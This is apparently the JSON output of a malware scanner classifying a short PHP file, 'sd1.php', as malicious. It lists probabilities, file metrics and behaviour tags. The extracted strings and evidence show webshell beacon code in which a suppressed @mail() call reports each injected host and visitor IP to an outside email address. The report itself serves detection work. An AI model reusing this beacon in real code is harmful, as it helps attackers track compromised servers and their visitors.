{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9922888875007629,
        "class": 2
      }
    ],
    "prob": 0.9922889,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.21318236,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.9593799,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9922889,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T20:56:31Z"
  },
  "path": "sd1.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(AsC)H₃(Cm₃OsPo)Md₂(Pt)",
        "k": {
          "source.imports[0]": "mail",
          "source.imports[1]": "rawurldecode",
          "source.imports[2]": "setcookie",
          "source.strings[0]": "Boss, there was an injected target on ",
          "source.strings[1]": "Boss, there was an injected target on $target by $visitor",
          "source.strings[2]": "Fx29Shell http://",
          "source.strings[3]": "Fx29Shell http://$target by $visitor",
          "source.strings[4]": "HTTP_HOST",
          "source.strings[5]": "REMOTE_ADDR",
          "source.strings[6]": "REQUEST_URI",
          "source.strings[7]": "d0z_a@yahoo.com",
          "source.strings[8]": "visits",
          "source.has_imports": true
        },
        "x": 35,
        "id": 0,
        "is": [
          "rawurldecode",
          "mail",
          "setcookie"
        ],
        "ms": {
          "file": {
            "size": 423.0
          },
          "text": {
            "digit_ratio": 0.01,
            "space_count": 44.0,
            "total_lines": 2.0,
            "char_entropy": 5.3,
            "unique_chars": 66.0,
            "import_density": 150.0,
            "lines_over_200": 1.0,
            "string_density": 9.5,
            "avg_line_length": 210.5,
            "max_line_length": 416.0,
            "last_line_length": 416.0,
            "most_common_char": "t",
            "whitespace_ratio": 0.11,
            "most_common_ratio": 0.07,
            "identifier_density": 12.0,
            "line_length_stddev": 205.5,
            "normalized_import_count": 2.12,
            "normalized_string_count": 13.44,
            "max_inline_whitespace_run": 1.0,
            "normalized_unique_identifiers": 11.0
          },
          "imports": {
            "total": 3.0,
            "unique_modules": 3.0,
            "third_party_count": 3.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 19.0,
            "avg_length": 14.58,
            "max_length": 57.0,
            "avg_entropy": 2.74,
            "email_count": 2.0,
            "total_bytes": 277.0,
            "entropy_stddev": 0.83
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 24.0,
            "avg_length": 7.36,
            "max_length": 16.0,
            "min_length": 3.0,
            "avg_entropy": 2.41,
            "reuse_ratio": 0.46,
            "unique_count": 11.0,
            "length_stddev": 3.91,
            "high_entropy_count": 1.0,
            "high_entropy_ratio": 0.09,
            "all_lowercase_ratio": 0.82,
            "all_uppercase_ratio": 0.18,
            "underscore_prefix_count": 1.0
          }
        },
        "ss": [
          [
            38,
            "visits"
          ],
          [
            39,
            "visits"
          ],
          [
            110,
            "REMOTE_ADDR"
          ],
          [
            111,
            "REMOTE_ADDR"
          ],
          [
            142,
            "HTTP_HOST"
          ],
          [
            143,
            "HTTP_HOST"
          ],
          [
            172,
            "REQUEST_URI"
          ],
          [
            173,
            "REQUEST_URI"
          ],
          [
            231,
            "Boss, there was an injected target on $target by $visitor"
          ],
          [
            232,
            "Boss, there was an injected target on "
          ],
          [
            277,
            " by "
          ],
          [
            298,
            "d0z_a@yahoo.com"
          ],
          [
            299,
            "d0z_a@yahoo.com"
          ],
          [
            316,
            "Fx29Shell http://$target by $visitor"
          ],
          [
            317,
            "Fx29Shell http://"
          ],
          [
            341,
            " by "
          ],
          [
            356,
            "$body"
          ],
          [
            400,
            "visits"
          ],
          [
            401,
            "visits"
          ]
        ],
        "sz": 423,
        "ts": [
          {
            "c": 1.0,
            "d": "PHP mail() function call",
            "e": [
              "mail"
            ],
            "i": "micro-behaviors/process/create/exec::php-mail",
            "l": 3
          },
          {
            "c": 0.8600000143051147,
            "d": "Regex component marker",
            "e": [
              "$_SERVER["
            ],
            "i": "objectives/command-and-control/backdoor/webshell/ui::self-named-get-form--rx-4",
            "l": 1,
            "m": "B0030"
          },
          {
            "c": 0.800000011920929,
            "d": "Sends email with error suppression (@mail)",
            "e": [
              "@mail(\"d0z_a@yahoo.com\",\"Fx29Shell http://$target by $visitor\", \"$body\")"
            ],
            "i": "micro-behaviors/communications/email/send/mail-func::mail-suppressed",
            "l": 4,
            "m": "B0032"
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 2.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "c": 0.75,
            "d": "Generic $_SERVER superglobal access",
            "e": [
              "$_SERVER"
            ],
            "i": "micro-behaviors/communications/http/request/params::server-dup",
            "l": 3
          },
          {
            "c": 0.699999988079071,
            "d": "PHP error suppression operator usage",
            "e": [
              "@mail(\"d0z_a@yahoo.com\",\"Fx29Shell http://$target by $visitor\", \"$body\")"
            ],
            "i": "micro-behaviors/os/stdio::error-suppress-prefix",
            "l": 3
          },
          {
            "a": "T1027",
            "c": 0.9200000166893005,
            "d": "HOST URL component identifier",
            "e": [
              "HOST"
            ],
            "i": "objectives/anti-static/obfuscation/payload/config::url-component-concat--rx-12",
            "l": 1,
            "m": "B0032"
          },
          {
            "c": 0.949999988079071,
            "d": "PHP opening tag present",
            "e": [
              "\u003c?php"
            ],
            "i": "metadata/lang/scripted::php-open-tag",
            "l": 1
          },
          {
            "d": "Sets HTTP cookie via setcookie()",
            "e": [
              "setcookie"
            ],
            "i": "micro-behaviors/communications/http/cookies::setcookie-call",
            "l": 3
          }
        ],
        "sha": "85115ad086ac2b3c6db2b2ad2187976fa299174d264527bcab190bacc4a7e884",
        "path": "sd1.php",
        "type": "php"
      }
    ],
    "tv": "87c42"
  }
}